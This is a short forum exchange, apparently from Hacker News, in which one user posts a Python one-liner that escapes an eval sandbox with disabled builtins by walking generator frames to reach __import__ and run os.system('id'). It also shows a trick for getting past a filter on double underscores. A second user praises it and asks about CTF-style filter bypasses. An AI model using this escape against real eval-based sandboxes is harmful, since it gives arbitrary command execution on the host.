| ▲ | farlow 3 days ago | |
You can do it without unicode, too: eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {}) | ||
| ▲ | est 3 days ago | parent [-] | |
damn you are good. Is this a new py3 thing? I must missed lots of CTF lessons. How about adding another .replace('﹍','').replace('gi_frame', '') ? | ||